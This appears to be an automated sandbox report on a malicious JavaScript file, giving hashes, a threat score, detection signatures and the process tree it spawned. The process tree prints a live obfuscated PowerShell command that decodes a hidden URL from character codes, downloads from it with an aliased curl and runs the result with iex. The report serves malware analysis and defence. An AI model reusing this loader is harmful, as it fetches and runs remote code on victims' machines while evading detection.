Analysis
-
max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240729-en -
resource tags
-
submitted
21-12-2024 14:49
General
-
Target
345b3f8036d5b93995334289ff468e73e93aaac22ee0f40d6e965bcf854f1939.js
-
Size
217KB
-
MD5
5df4ce8cb9078a3f29305e76f3dde592
-
SHA1
e0b42f7c4475cd54ab46a9eb131da852162ad2fa
-
SHA256
345b3f8036d5b93995334289ff468e73e93aaac22ee0f40d6e965bcf854f1939
-
SHA512
3135a015a300f08e4c149c1734455f0a5b0ef15f810dc88d4a8c3360146e33b03fea965851c64071bf75caea0af6c840f07286d16038f1e315ff24285d2ae68e
-
SSDEEP
1536:nwEjLrwa7qpg3rSoY9BdiBJprdq+VcGma4H52scrGpwa7qpg3rSoY9BdiBJprdqQ:nPphmjhv+phDh4
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\345b3f8036d5b93995334289ff468e73e93aaac22ee0f40d6e965bcf854f1939.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $rhbtdeljc='ur' ;new-alias printout c$($rhbtdeljc)l;$afkigejy=(4775,4786,4794,4778,4780,4775,4795,4794,4799,4732,4794,4728,4775,4723,4793,4788,4789,4724,4726,4723,4789,4781,4789,4740,4792,4738,4786,4782,4787,4793,4792,4727,4726);$irpcavqnhjldew=('bronx','get-cmdlet');$dsimvrxc=$afkigejy;foreach($jyldcntewxm in $dsimvrxc){$topieb=$jyldcntewxm;$svbugawprfxiec=$svbugawprfxiec+[char]($topieb-4677);$bhlxvgicezd=$svbugawprfxiec; $jwespquzfx=$bhlxvgicezd};$xpgifk[2]=$jwespquzfx;$ithdrb='rl';$milnxpge=1;.$([char](9992-9887)+'e'+'x')(printout -useb $jwespquzfx)1⤵
- Process spawned unexpected child process